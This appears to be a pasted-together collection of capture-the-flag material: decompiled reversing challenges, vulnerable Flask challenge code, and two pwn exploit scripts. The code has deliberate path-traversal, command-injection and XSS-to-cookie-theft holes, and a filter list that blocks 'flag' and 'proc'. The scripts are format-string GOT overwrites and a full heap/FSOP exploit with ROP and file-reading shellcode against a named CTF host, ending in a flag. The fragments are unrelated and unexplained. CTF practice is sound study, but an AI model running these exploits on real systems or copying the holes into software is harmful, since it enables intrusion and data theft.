# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: chal.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import pyramid
import os
text = 'A pyramid fortified with intricate defenses looms before you. \nIts secrets are locked behind layers of puzzles. \nYou stand at its base, challenged to unravel them all.'
print('･････････････････････････････････････････････････････････････････')
for line in text.split('\n'):
    print(f'  {line}')
print('･････････････････････････････････････････････････････････････････')
pyramid.a_long_way_to_treasure()
try:
    os.remove('checkinput.pyd')
except Exception as e:
    pass

.rdata:0000000180008280 unk_180008280   db 0A9h                 ; DATA XREF: .rdata:0000000180007F80↑o
.rdata:0000000180008281                 db  6Ch ; l
.rdata:0000000180008282                 db  63h ; c
.rdata:0000000180008283                 db  6Dh ; m
.rdata:0000000180008284                 db  64h ; d
.rdata:0000000180008285                 db  72h ; r
.rdata:0000000180008286                 db  65h ; e
.rdata:0000000180008287                 db  61h ; a
.rdata:0000000180008288                 db  2Bh ; +
.rdata:0000000180008289                 db  30h ; 0
.rdata:000000018000828A                 db 0B5h
.rdata:000000018000828B                 db  1Bh
.rdata:000000018000828C                 db 0BDh
.rdata:000000018000828D                 db  0Ch
.rdata:000000018000828E                 db  6Bh ; k
.rdata:000000018000828F                 db  6Fh ; o
.rdata:0000000180008290                 db  81h
.rdata:0000000180008291                 db  61h ; a
.rdata:0000000180008292                 db  6Eh ; n
.rdata:0000000180008293                 db  67h ; g
.rdata:0000000180008294                 db  64h ; d
.rdata:0000000180008295                 db  72h ; r
.rdata:0000000180008296                 db  65h ; e
.rdata:0000000180008297                 db  61h ; a
.rdata:0000000180008298                 db  6Dh ; m
.rdata:0000000180008299                 db  69h ; i
.rdata:000000018000829A                 db  74h ; t
.rdata:000000018000829B                 db  73h ; s
.rdata:000000018000829C                 db  6Dh ; m
.rdata:000000018000829D                 db  71h ; q
.rdata:000000018000829E                 db  67h ; g
.rdata:000000018000829F                 db  6Fh ; o
.rdata:00000001800082A0                 db  62h ; b
.rdata:00000001800082A1                 db  61h ; a
.rdata:00000001800082A2                 db  6Eh ; n
.rdata:00000001800082A3                 db  67h ; g
.rdata:00000001800082A4                 db  64h ; d

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: layer2.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 2025-09-10 10:56:06 UTC (1757501766)

import ctypes
from ctypes import wintypes
import struct
import os
import importlib.util
import sys

class BUF(ctypes.Structure):
    _fields_ = [('Length', wintypes.ULONG), ('Unused', wintypes.ULONG), ('Ptr', ctypes.c_void_p)]
key = input('Input your key: ')
tmp = 2166136261
for ch in key:
    tmp = 16777619 * (tmp ^ ord(ch)) & 4294967295
key_bytes = struct.pack('<I', tmp)
advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)
SystemFunction033 = advapi32.SystemFunction033
FNPROTO = ctypes.WINFUNCTYPE(None, ctypes.POINTER(BUF), ctypes.POINTER(BUF))
fn = FNPROTO(ctypes.cast(SystemFunction033, ctypes.c_void_p).value)
data = b'\xb7\xc3\xbc\xe5 <skip>'
data_buffer = ctypes.create_string_buffer(data)
key_buffer = ctypes.create_string_buffer(key_bytes)
data_buf = BUF(len(data), 0, ctypes.addressof(data_buffer))
key_buf = BUF(4, 0, ctypes.addressof(key_buffer))
fn(ctypes.byref(data_buf), ctypes.byref(key_buf))
pyd_path = os.path.join(os.getcwd(), 'checkinput.pyd')
with open(pyd_path, 'wb') as f:
    f.write(data_buffer.raw[:len(data)])
try:
    spec = importlib.util.spec_from_file_location('checkinput', pyd_path)
    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)
    flag = input('Input your flag: ')
    result = module.check(flag.encode('utf-8'))
    if result:
        print('Right!')
    else:
        print('Wrong!')
except Exception as e:
    pass
print('Wrong key!')

def exp():
    global libc
    global binary
    global elf
    elf = ELF(binary, checksec=False)
    libc = ELF("./libc.so.6", checksec=False)
    # 第一次泄露libc地址，并且将fclose got重定向到main的起始地址  
    fclose_got = elf.got['fclose']
    sla(b'2.exit\n',b'1')
    sla(b'how much you want to pay?\n',b'255')
    fclose_got = elf.got['fclose']
    main_addr = 0x40139B
    payload = b'a'*0x100 
    fmtstr = f'%{main_addr }c%12$hn'.encode()+ b'---%25$p----'
    payload += fmtstr
    sla(b'opened user.log, please report:\n',payload)
    sla(b'2.exit\n',b'1')
    sla(b'how much you want to pay?\n',p64(fclose_got))
    ru(b'---')
    libc.address = int(ru(b'----',drop=True),16) - 0x2a1ca
    leak('libc.address',libc.address)


    # 取消exit,并且使其执行时跳转到fget获取flag
    # 401660
    fgets_flag_instr =0x4014F9
    sla(b'2.exit\n',b'1')
    sla(b'how much you want to pay?\n',b'255')
    payload = b'a'*0x100 
    fmtstr = f'%{fgets_flag_instr }c%12$hn'.encode()
    payload += fmtstr
    
    sla(b'opened user.log, please report:\n',payload)
    sla(b'2.exit\n',b'1')
    exit_got = elf.got['exit']
    sla(b'how much you want to pay?\n',p64(exit_got))
    
    # 将 memset 改为 puts
    sla(b'2.exit\n',b'1')
    sla(b'how much you want to pay?\n',b'255')
    puts_addr = libc.sym['puts']
    payload = b'a'*0x100 
    padding1 = (puts_addr >> 16) & 0xff
    fmtstr = f'%{padding1}c%13$hhn'.encode()
    padding2 = puts_addr & 0xffff
    fmtstr += f'%{padding2-padding1}c%12$hn'.encode() 
    payload += fmtstr
    sla(b'opened user.log, please report:\n',payload)
    memset_got = elf.got['memset']
    sla(b'2.exit\n',b'1')
    sla(b'how much you want to pay?\n',p64(memset_got)+p64(memset_got+2))

# admin 可以读文件夹
@app.route("/download/<folder>")
def download(folder):
    target_dir = os.path.join(UPLOAD_FOLDER, folder)
    if not os.path.exists(target_dir):
        abort(404)
    files = os.listdir(target_dir)
    return render_template("download.html", folder=folder, files=files)

# user 只能读文件
@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
    file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
    try:
        with open(file_path, 'r') as file:
            content = file.read()
        return Response(
            content,
            mimetype="application/octet-stream",
            headers={
                "Content-Disposition": f"attachment; filename={filename}"
            }
        )
    except Exception as e:
        return f"Error: {str(e)}", 500

def run_ping(ip_base64):
    try:
        # 使用base64.b64decode解码得到decoded_ip，并进行一系列检查
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        # 对为解码的 ip_base64 进行检查
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    # 最后拼接到 command 的是 base64 -d ip_base64 的结构
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""
    try:
        process = subprocess.run(command, shell=True, check=True, capture_output=True, text=True)
        ......

context.add_cookies([{
    'name': 'flag',
    'value': flag_value,
    'domain': 'localhost',
    'path': '/',
    'httponly': True
}])

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'POST':
        current_user.bio = request.form['bio']
        print(current_user.bio)
        return redirect(url_for('index'))
    return render_template('profile.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
    """
    # I found a bug in it.
    # Until I fix it, I've banned /api/bio/. Have fun :)
    """
    username = request.args.get("username",default=current_user.username)
    visit_url(f"http://localhost/api/bio/{username}")    # 访问 bio
    template = f"""{{% extends "base.html" %}}..."""
    return render_template_string(template)

def visit_url(url):
    try:
        flag_value = os.environ.get('FLAG', 'flag{fake}')
        with sync_playwright() as p:
            context.add_cookies([{
                'name': 'flag',
                'value': flag_value,
                'domain': 'localhost',
                'path': '/',
                'httponly': True    #  httpOnly不是httponly
            }])
            ......
            page.goto(url, timeout=5000)    # 若访问的 url 页面中存在xss，则可以带出cookie
            page.wait_for_timeout(5000)
            browser.close()

with open('flag.txt', 'rb') as f:
    flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
def main():
    if any(term in initial_data.lower() for term in FORBIDDEN):
        conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
        conn.close()
        continue
        
def handle_connection(conn, addr, log, factor=1):
    try:   
        request_data = conn.recv(256)
        if not request_data.startswith(b"GET /"):
            response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
            conn.sendall(response)
            return
        try:
            path = request_data.split(b' ')[1]   # 取出请求路径 
            pattern = rb'\?offset=(\d+)&length=(\d+)'
            offset = 0
            length = -1
            match = re.search(pattern, path)    # 匹配 ?offset=12&length=123。仅匹配第一个
            if match:
                offset = int(match.group(1).decode())
                length = int(match.group(2).decode())
                clean_path = re.sub(pattern, b'', path)
                filename = clean_path.strip(b'/').decode()  # 去除首尾 '/'，得到filename
            else:
                filename = path.strip(b'/').decode()

        if filename:
            try:
                with open(os.path.normpath(filename), 'rb') as f:  # 读取 filename 文件内容
                    if offset > 0:
                        f.seek(offset)
                    data_bytes = f.read(length)
                    response_body = data_bytes.decode('utf-8', 'ignore')
                response_status = "200 OK"

#!/usr/bin/env python3
from pwncli import *

context(os='linux', arch='amd64')
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"

if args.REMOTE:
    HOST,PORT = "heap-jail.chal.crewc.tf", 1337
    p = remote(HOST, PORT, ssl=True)
elif args.LOCAL:
    p = process("./main-patch")

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
ii = lambda x: p.sendlineafter(' \n',x)

def add(idx,sz):
    ii('1')
    ii(str(idx))
    ii(str(sz))

def edit(idx,cnt):
    ii('2')
    ii(str(idx))
    s(' \n', cnt)

def free(idx):
    ii('3')
    ii(str(idx))

def show(idx):
    ii('4')
    ii(str(idx))

add(0, 0x408)
show(0)
p.recv(0x10)
a = p.recv(0x3f8)
# embed()

if args.REMOTE:
    libc = int(a.strip().split(b'\n')[2].split(b' ')[0].split(b'-')[0],16)
elif args.LOCAL:
    libc = int(a.strip().split(b'\n')[8].split(b' ')[0].split(b'-')[0],16)

log.success("@ libc: "+hex(libc))
add(0, 0x100)
free(0)
show(0)

heap = (u64(p.recv(8))<<12)-0x3000
log.success("@ heap: "+hex(heap))

_lock = libc+0x205700
fake = heap+0x4bd0

f1 = IO_FILE_plus_struct()
f1._lock = _lock
f1._wide_data = fake+0xe0
f1.vtable = libc+0x202228 # _IO_wfile_jumps
f1._IO_save_base = fake+0x280

svcudp_reply = libc+0x17923d
swapcontext = libc+0x5815d
pop_rdi = libc+0x10f75b # pop rdi ; ret
pop_rsi = libc+0x110a4d # pop rsi ; ret
ret = libc+0x582bb

"""
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x01 0x00 0x00000000  if (A == read) goto 0007
 0006: 0x15 0x00 0x06 0x00000001  if (A != write) goto 0013
 0007: 0x20 0x00 0x00 0x0000001c  A = args[1] >> 32
 0008: 0x25 0x05 0x00 0x00006146  if (A > 0x6146) goto 0014
 0009: 0x15 0x00 0x04 0x00006146  if (A != 0x6146) goto 0014
 0010: 0x20 0x00 0x00 0x00000018  A = args[1]
 0011: 0x35 0x00 0x02 0xcad5b000  if (A < 0xcad5b000) goto 0014
 0012: 0x35 0x01 0x00 0xcad7c000  if (A >= 0xcad7c000) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0015: 0x06 0x00 0x00 0x00000000  return KILL
"""

shellcode = """
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    mov rdi, 0x67616c662f
    push rdi
    mov rdi, rsp
    syscall
    mov rdx, 0x100
    mov rsi, rdi
    mov rdi, rax
    mov rax, 0
    syscall
    mov rdi, 1
    mov rax, 1
    syscall
"""

data = flat({
    0x20: bytes(f1)[0x30:],
    0xe0: {  # _wide_data->_wide_vtable
        0x18: 0,  # f->_wide_data->_IO_write_base
        0x30: 0,  # f->_wide_data->_IO_buf_base
        0xe0: fake + 0x200},
    0x200: {0: asm(shellcode), 0x68: svcudp_reply},
    0x280: {
        0x18: fake + 0x280,
        0x28: swapcontext,
        0x88: 7,
        0xe0: fake,
        0xa0: fake + 0x380,
        0xa8: ret},
    0x380: flat(
        pop_rdi,
        (fake // 0x1000) * 0x1000,
        pop_rsi,
        0x2000,
        libc+0x125c10, # mprotect
        fake + 0x200,
    )}
)

add(0, 0x4e0)
add(1, 0xff8)
add(2, 0x4d0)
edit(2, data.ljust(0x4d0, b'\x00'))
free(0)
add(8, 0x600)
edit(0, flat([libc+0x203F40, libc+0x203F40, heap+0x36d0, libc+0x2044c0-0x20])) # _IO_list_all

free(2)

if args.LOCAL:
    gdb.attach(p, f'break-rva 0x1B78\ndirectory ~/glibc-2.39\nb __GI__IO_wfile_overflow')#\n hb *{fake+0x200}')
add(10, 0x600)

# trigger exit
ii('3')
ii('100')

p.interactive()
# crew{L4rg3B1ns_FTW_f70c8418155de82fae43}

wsl@sockholm:/mnt/d/DESKTOP/crewctf/heapbanging$ checksec ./heap-banging
[*] '/mnt/d/DESKTOP/crewctf/heapbanging/heap-banging'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No